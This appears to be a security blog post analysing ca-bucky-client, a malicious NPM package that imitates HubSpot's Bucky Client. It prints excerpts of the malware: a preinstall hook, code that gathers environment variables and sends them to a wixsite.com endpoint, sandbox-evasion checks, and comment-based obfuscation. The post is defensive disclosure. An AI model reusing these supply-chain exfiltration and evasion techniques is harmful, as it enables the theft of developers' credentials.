NPM Malware Targeting HubSpot’s Bucky Client
Our risk analysis platform recently alerted us to a malicious package in the NPM ecosystem targeting Bucky Client, a project owned by HubSpot. It is currently averaging around 600 installations per week.
The package in question is ca-bucky-client
; we have reported this package to NPM, but as of this writing, it is still active in the NPM ecosystem.
This package contains a variety of obfuscation mechanisms to thwart analysis, but the key takeaway is this: Any user that inadvertently installs this package will have their environment enumerated and sent to the remote actor. If this includes critical information (e.g., AWS access keys), it will fall into the hands of the malware author.
A Deep Dive
If you want to check out this malware for yourself, it’s available for download for free here.
This package first shipped with version 0.0.1
on July 13, 2022. It does not appear as though this particular version is successfully malicious. This version contains exactly one Javascript file, a README, and a package.json
.
|-- README.md
|-- bucky.js
`-- package.json
The package.json
includes a preinstall
hook that executes bucky.js
. This file appears to be a mostly functional equivalent to the legitimate bucky.js
from early versions of the Bucky Client, with one minor change: require("xmlhttprequest")
has been updated to require("./xmlhttprequest")
to refer to a file on disk (which doesn’t exist yet).
// Execution will only occur on the server. This conditional is present in the
// legitimate `bucky.js`.
if (isServer) {
// NOTE: We now refer to a file on disk, NOT the `xmlhttprequest` package
// itself, as is the case in the legitimate `bucky.js`.
XMLHttpRequest = require("./xmlhttprequest").XMLHttpRequest;
return;
now = function () {
var time;
time = process.hrtime();
return (time[0] + time[1] / 1e9) * 1000;
};
}
Subsequent versions of ca-bucky-client
introduce this file, where a bulk of the maliciousness is located.
The Maliciousness: xmlhttprequest.js
A cursory review of this file from later versions of ca-bucky-client
is, at the very least, suspicious. There are some basic and sometimes interesting attempts at preventing analysis, along with all the hallmarks of NPM malware.
The malware author grabs the environment variables from the machine on line 79:
var props = process.env || {};
They perform some system checks (see below for more details on a few of these checks) on line 168 and exit if any of these are hit:
if (
exclude.some((entry) =>
[]
.concat(entry)
.every(
(item) =>
(props[item.key] || "").includes(item.val) || item.val === "*"
)
) ||
Object.keys(props).length < 10 ||
!props.npm_package_name ||
!props.npm_package_version ||
/C:\\Users\\[^\\]+\\Downloads\\node_modules\\/.test(
props.npm_package_json || ""
) ||
/C:\\Users\\[^\\]+\\Downloads/.test(props.INIT_CWD || "") ||
(props.npm_package_json || "").startsWith("/npm" + "/node_" + "modules/")
) {
return;
}
And finally, they send the data off to the remote service on line 190:
// This is _really_ an `http.request`. The last item on the URL path is the NPM
// package name.
var res = http[type()](params.getOpts(props["npm_package_name"], "com")).on(
"error",
function (err) {}
);
This request is sent off to the following location, which appears to be abusing Wix Velo as a data collection service for this malware [1].
https://afxsiyf.wixsite.com/a1da4192a20/_functions/b8c9d47be/<npmPackageName>
A Smattering of Interesting Behaviors
Putting the TP in TTP
All data dumped by the actor is sent as an encoded base64 string. However, these aren’t just any base64 strings. The actor decided to add a little something extra to the encoded string to thwart analysis.
function asB64(buff) {
var d = buff.toString("base64");
return d.slice(0, 2) + "poo" + d.slice(2);
}
Presumably, this is a rudimentary attempt at preventing decoding of the encoded strings. One might say an interesting tactic, technique, or procedure.
Storing Bits in Comments
This actor isn’t completely incompetent, however. They did implement some interesting mechanisms that do slow analysis; at least for a short while. On line 15, we see the following function definition:
function type() {
function propGetter(prop) {
// 1. west
// 2. question
// 3. Ireland
return propValue(propGetter, prop) || ["question", "west", "Ireland"][prop];
}
const idxs = [
[2, 4],
[0, 3],
[1, 3],
];
return [0, 1, 2]
.map((i) => propGetter(i).slice(idxs[i][0], idxs[i][1]))
.reverse()
.join("");
}
If your first inclination is to clean this up by removing the comments, don’t! They are part of the execution path. The function propValue
actually reads the source of the functions it is given.
function propValue(getter, prop) {
var c = getter
.toString() // (1)
.split("\n") // (2)
.filter((x) => x.trim().startsWith("//")) // (3)
.map((x) => x.trim().split(" ").pop()); // (4)
return typeof getter === "function" ? c[prop] : getter(prop);
}
This function:
- Gets the function source from the
getter
parameter - Splits the source up by newlines
- Finds any lines that start with double slashes (i.e., comment lines)
- Splits the comment lines up by spaces and takes the last word on that line
This means we will get west
, question
and Ireland
from the execution of propGetter(...)
in type()
. We will then take offsets [2,4]
[0,3]
and [1,3]
from each respective word to get st que
and re
. Once the array containing these values is reversed and joined, we get request
which is the function we call to construct our HTTP request.
type()
is called on line 190:
http[type()](...)
Which (after deobfuscation) becomes:
http["request"](...)
Environment Checks
This malware also performs a variety of checks before continuing with execution and prematurely exits if any of them are triggered. Some interesting items it looks for includes:
- The presence of
mitmproxy
certificates innode_extra_ca_certs
- Configured NPM registries for
taobao.org
,registry.npmmirror.com
,cnpmjs.org
,mirrors.cloud.tencent.com
andmirrors.tencent.com
innpm_config_registry
[2]
Whether or not the OS username is “Justin.”
{ key: "USERNAME", val: "justin" }
Could it be that “Justin” wants to ensure they don’t inadvertently execute their malware? [3]
Footnotes
[1] We reported this abuse to Wix, which promptly deactivated the site.
[2] This is presumably a simple check to avoid targeting users from specific regions.
[3] If you’re reading this Justin, /r/masterhacker, is expecting you. Oh, and also, please stop polluting our open-source ecosystems with this nonsense.